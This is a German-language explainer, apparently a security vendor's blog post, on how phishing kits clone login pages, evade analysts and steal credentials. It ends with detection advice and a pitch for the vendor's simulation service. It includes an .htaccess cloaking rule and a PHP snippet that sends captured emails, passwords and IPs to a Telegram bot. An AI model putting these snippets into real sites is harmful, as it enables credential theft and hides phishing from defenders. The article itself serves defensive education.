Anatomie eines modernen Phishing-Kits

Ein „Phishing-Kit“ ist der verpackte, wiederverwendbare Code, den Angreifer ausrollen, um eine Login-Seite zu klonen, Zugangsdaten abzugreifen und sie herauszuschleusen. Zu verstehen, wie diese Kits gebaut sind — und wie sie sich verstecken —, macht es weit einfacher, Kampagnen früh zu erkennen und überzeugende Abwehr-Simulationen zu bauen.

Was in einem Kit steckt

Ein typisches Kit ist ein ZIP-Archiv, abgelegt auf einem kompromittierten Host oder billigem Hosting. Seine Struktur ist bemerkenswert einheitlich:

kit/
├── index.php            # die geklonte Landing-Page
├── login.php            # Formular-Handler: erfasst + leitet Zugangsdaten weiter
├── assets/              # pixelgenaue Kopien von CSS, JS, Logos, Schriften
├── config.php           # Exfil-Ziel (E-Mail, Telegram-Bot, Remote-URL)
├── antibots.php         # Sperrlisten für Crawler, Sandboxes, Forschende
└── .htaccess            # Rewrites, Geo-/IP-Filter, Hotlink-Schutz

Moderne Kits werden zunehmend „als Dienst“ verkauft (PhaaS — Phishing-as-a-Service), samt Abo-Dashboards, Updates und Support.

Der Klon

Die Landing-Page ist meist eine Byte-für-Byte-Kopie eines echten Login-Bildschirms, mit einem Site-Ripper oder einem Headless-Browser erfasst. Zwei Merkmale sind häufig:

• Absolute Asset-URLs, die weiter auf das legitime CDN zeigen (so lädt die Seite echte Logos, während das Formular an den Angreifer sendet).
• Ein <form>, dessen action auf einen lokalen PHP-Handler zielt statt auf den echten Endpunkt der Marke.

Fortgeschrittene Kits proxen die echte Seite in Echtzeit (ein Adversary-in-the-Middle-Aufbau mit Werkzeugen wie Evilginx), leiten die Eingaben des Opfers an den echten Server weiter und stehlen das dabei entstehende Session-Cookie — was die meisten MFA aushebelt.

Anti-Analyse-Schicht

Die antibots-Komponente hält ein Kit am Leben. Sie filtert Besucher, bevor die Phishing-Seite ausgeliefert wird:

• User-Agent- und ASN-Filter — blockt bekannte Crawler und die IP-Bereiche von Google, Microsoft, Sicherheitsanbietern und Cloud-Sandboxes.
• Referer- und Geo-Prüfungen — liefert die Seite nur an Ziele aus dem erwarteten Land und leitet alle anderen auf die echte Seite um.
• Rate Limiting und Einmal-Links — ein Token in der URL, das nach einem einzigen Besuch verbrennt, sodass ein weitergeleitetes Sample nur ein harmloses 404 zeigt.

# .htaccess-Ausschnitt
RewriteCond %{HTTP_USER_AGENT} (googlebot|bingbot|curl|python) [NC]
RewriteRule .* https://real-brand.example/ [R=302,L]

Deshalb war eine URL, die einem SOC-Analysten „tot“ erscheint, Minuten zuvor für das Opfer voll aktiv.

Erfassung und Herausschleusen der Zugangsdaten

Der Handler validiert gerade genug, um echt zu wirken, und verschickt dann die Daten. Exfil-Kanäle, grob nach Beliebtheit:

• SMTP / mail() an ein fest hinterlegtes Postfach.
• Telegram-Bot-API — ein sendMessage-Aufruf an ein Bot-Token, billig und widerstandsfähig.
• POST an eine C2-URL oder einen Discord-Webhook.
• Lokale Logdatei, die der Betreiber später abgreift.

$msg = "u={$_POST['email']}&p={$_POST['pass']}&ip={$_SERVER['REMOTE_ADDR']}";
file_get_contents("https://api.telegram.org/bot$TOKEN/sendMessage?chat_id=$ID&text=".urlencode($msg));
header("Location: https://real-brand.example/error");

Beachten Sie die letzte Weiterleitung: Nach dem „fehlgeschlagenen Login“ landet das Opfer auf der echten Seite, vermutet einen Tippfehler, meldet sich erfolgreich an und schöpft nie Verdacht.

Hosting und Zustellung

Kits bevorzugen Wegwerf-Infrastruktur: kompromittierte WordPress-Seiten, offene Redirects auf vertrauenswürdigen Domains, frisch registrierte ähnlich aussehende Domains und zunehmend legitime Dienste (Cloudflare Workers, IPFS, SharePoint, Google Docs), um deren Reputation zu leihen. Die Zustellung paart das Kit mit einem Köder — einer Rechnung, einer MFA-„Neuverifizierung“, einer Benachrichtigung über ein geteiltes Dokument.

Abwehr und Erkennung

Signale, nach denen zu jagen sich lohnt:

• Frisch registrierte Domains, die Ihrer Marke ähneln (CT-Logs und Typosquats überwachen).
• Favicon- und DOM-Hashing — Kits verwenden exakt die Assets der geklonten Marke wieder.
• Ausgehende Telegram-/Webhook-Aufrufe von Webhosts, die dafür keinen Grund haben.
• Zugangsdaten-Übermittlung an unerwartete Ziele in der Browser-Telemetrie.
• DMARC-Aggregatberichte, die Spoofing-Versuche gegen Ihre Domain aufdecken.

Die unbequeme Wahrheit: Ein gut gebautes AiTM-Kit hebelt SMS- und App-basierte MFA aus, indem es das Session-Token stiehlt. Phishing-resistente Verfahren — FIDO2 / Passkeys — sind die dauerhafte Lösung.

Wie GottaPhish hilft

Moderne Phishing-Kits bewaffnen pixelgenaue Klone und AiTM-Session-Diebstahl, die selbst SMS- und App-basierte MFA aushebeln. GottaPhish und sein Expertenteam helfen Ihnen, genau dieser Bedrohung zu begegnen: sichere, voll auditierte Simulationen, die echte Kits nachbilden — tokenisierte Links, Abläufe zum Erfassen von Zugangsdaten, AiTM-Szenarien — mit Dashboards, die zeigen, welche Köder landen und wo MFA hält. Unsere Fachleute unterstützen bei der Einrichtung, entwerfen Szenarien, die das aktuelle PhaaS-Handwerk nachstellen, und helfen beim Deuten der Ergebnisse — als gezielte Schulung und als konkrete Detection-Engineering-Signale für Ihr SOC.